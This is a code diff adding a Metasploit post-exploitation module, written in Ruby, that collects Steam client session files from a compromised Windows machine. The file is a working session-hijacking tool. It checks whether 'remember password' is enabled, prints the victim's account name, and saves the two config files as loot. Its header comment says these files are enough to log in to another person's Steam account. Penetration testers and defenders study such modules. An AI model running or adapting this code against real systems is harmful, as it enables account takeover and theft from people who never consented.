|
| 1 | +## |
| 2 | +# $Id: steam.rb |
| 3 | +## |
| 4 | + |
| 5 | +## |
| 6 | +# This file is part of the Metasploit Framework and may be subject to |
| 7 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 8 | +# web site for more information on licensing and terms of use. |
| 9 | +# http://metasploit.com/ |
| 10 | +## |
| 11 | + |
| 12 | +## |
| 13 | +# All that is needed to login to another Steam account is config.vdf, |
| 14 | +# setting the AutoLoginUser to the proper username and RememberPassword |
| 15 | +# to 1 in SteamAppData.vdf. |
| 16 | +# Only tested on Win7 x64 |
| 17 | +# |
| 18 | +# config.vdf , ContentCache element holds a K,V table of what appears |
| 19 | +# to be UniqueID, Session. This is purely speculation as I have not |
| 20 | +# reversed it to check. However the key is always unique to the account |
| 21 | +# and the value changes whenever the account is logged out and then |
| 22 | +# back in. |
| 23 | +## |
| 24 | + |
| 25 | +require 'msf/core' |
| 26 | +require 'msf/core/post/file' |
| 27 | + |
| 28 | +class Metasploit3 < Msf::Post |
| 29 | + |
| 30 | + include Msf::Post::File |
| 31 | + include Msf::Auxiliary::Report |
| 32 | + |
| 33 | + def initialize(info={}) |
| 34 | + super( update_info(info, |
| 35 | + 'Name' => 'Steam client session Collector.', |
| 36 | + 'Description' => %q{ This module will collect Steam session information from an |
| 37 | + account set to autologin. }, |
| 38 | + 'License' => MSF_LICENSE, |
| 39 | + 'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'], |
| 40 | + 'Platform' => ['win'], |
| 41 | + 'SessionTypes' => ['meterpreter' ] |
| 42 | + )) |
| 43 | + end |
| 44 | + |
| 45 | + def run |
| 46 | + steamappdata = 'SteamAppData.vdf' |
| 47 | + steamconfig = 'config.vdf' |
| 48 | + u_rx = /AutoLoginUser\W*\"(.*)\"/ |
| 49 | + |
| 50 | + # Steam client is only 32 bit so we need to know what arch we are on so that we can use |
| 51 | + # the correct program files folder. |
| 52 | + # We will just use an x64 only defined env variable to check. |
| 53 | + if not expand_path('%ProgramFiles(X86)%').empty? |
| 54 | + progs = expand_path('%ProgramFiles(X86)%') #x64 |
| 55 | + else |
| 56 | + progs = expand_path('%ProgramFiles%') #x86 |
| 57 | + end |
| 58 | + path = progs + '\\Steam\\config\\' |
| 59 | + |
| 60 | + print_status("Checking for Steam configs in #{path}") |
| 61 | + |
| 62 | + # Check if all the files are there. |
| 63 | + # I know the path[0..-2] is ugly but directory? does not permit trailing slashes. |
| 64 | + if directory?(path[0..-2]) && file?(path+steamappdata) && file?(path+steamconfig) |
| 65 | + print_status("Located steam config files.") |
| 66 | + sad = read_file(path+steamappdata) |
| 67 | + if sad =~ /RememberPassword\W*\"1\"/ |
| 68 | + print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}") |
| 69 | + scd = read_file(path+steamconfig) |
| 70 | + store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata) |
| 71 | + store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig) |
| 72 | + print_status("Steam configs harvested successfully!") |
| 73 | + else |
| 74 | + print_error("RememberPassword is not set, exiting.") |
| 75 | + return |
| 76 | + end |
| 77 | + else |
| 78 | + print_error("Steam configs not found.") |
| 79 | + return |
| 80 | + end |
| 81 | + |
| 82 | + end |
| 83 | + |
| 84 | +end |
0 commit comments